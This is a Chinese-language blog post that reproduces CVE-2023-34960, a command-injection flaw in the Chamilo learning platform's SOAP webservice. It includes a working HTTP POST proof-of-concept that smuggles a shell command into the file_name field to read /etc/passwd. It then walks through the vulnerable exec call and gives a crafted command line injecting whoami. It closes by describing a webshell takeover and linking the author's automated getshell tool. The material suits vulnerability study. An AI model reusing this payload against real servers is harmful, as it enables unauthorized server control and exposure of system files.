​Chamilo命令执行漏洞(CVE-2023-34960)复现


产品介绍

Chamilo是一个开源的在线学习和内容管理系统,专注于易用性和可访问性。

漏洞介绍

Chamilo是一款可供用户免费下载的学习管理软件,其目的是提高来自弱势背景的用户对在线课程的可及性。Chamilo由一个名为Chamilo协会的非营利组织运行和管理。Chamilo存在命令执行漏洞,恶意攻击者可以通过构造的xml文件任意命令,进而控制服务器

漏洞poc

POST /main/webservices/additional_webservices.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept: */*
Connection: Keep-Alive
Content-Length: 826
Content-Type: application/x-www-form-urlencoded

<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="{http://ip:port}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns2="http://xml.apache.org/xml-soap" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:wsConvertPpt><param0 xsi:type="ns2:Map"><item><key xsi:type="xsd:string">file_data</key><value xsi:type="xsd:string"></value></item><item><key xsi:type="xsd:string">file_name</key><value xsi:type="xsd:string">`{}`.pptx'|" |cat /etc/passwd||a #</value></item><item><key xsi:type="xsd:string">service_ppt2lp_size</key><value xsi:type="xsd:string">720x540</value></item></param0></ns1:wsConvertPpt></SOAP-ENV:Body></SOAP-ENV:Envelope>

漏洞分析

根据上面exp我们分析一下这个漏洞形成的原因。下面代码 初始化了一个类SoapServer 并且输入了。构造函数传入了uri 和文件的位置。添加一个函数wsConvertPpt 并且使用handle函数进行处理。
漏洞代码
我们看到有exec函数 。这里可能是漏洞触发点我们用网站调试一下
漏洞函数
我们使用phpinfo()函数发现没有反应有人就说是是不是不是这个函数。我也想但是如果我把这个函数名称改了以后会报错
测试函数
修改函数名称报错。因此确定这个就是漏洞函数点。那为什么没有东西输出呢。可能是进行了调用了php内置函数清除输出了。那么我们怎么进行测试呢。我们看到有这一句代码 return serialize($data); 那么我们测试一下使用return 来返回数据代替echo 等输出命令
报错
明白如何接收数据了我们就可以构造exp了
接收数据
构造exp关键点

cd /home/yachimec/public_html/learn/main/inc/lib/ppt2png && java  -Dfile.encoding=UTF-8 -cp .:jodconverter-2.2.2.jar:jodconverter-cli-2.2.2.jar DokeosConverter -p 2002 -w 720 -h 540 -d oogie "/home/yachimec/public_html/learn/archive/wsConvert/`{}`/`{}`.pptx'|" |whoami||a #"  "/home/yachimec/public_html/learn/archive/wsConvert/`{}`-n/`{}`.html" 只要这句可以执行那么exp就构
造完毕了

构造exp

构造exp拿下webshell

我们自己构造exp 使用echo和管道符和其他linux命令执行拿下websell。改功能已经集成到工具里面了
拿下webshell
工具一键getshell执行结果。自动化getshell。另外我们看到最后是删除临时目录啥的这个可以使用条件竞争一直写文件。估计可以写shell直接。但是不如rce到位。地址:https://github.com/peiqiF4ck/WebFrameworkTools-5.1-main
工具执行


文章作者: peiqiF4ck
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 peiqiF4ck !
  目录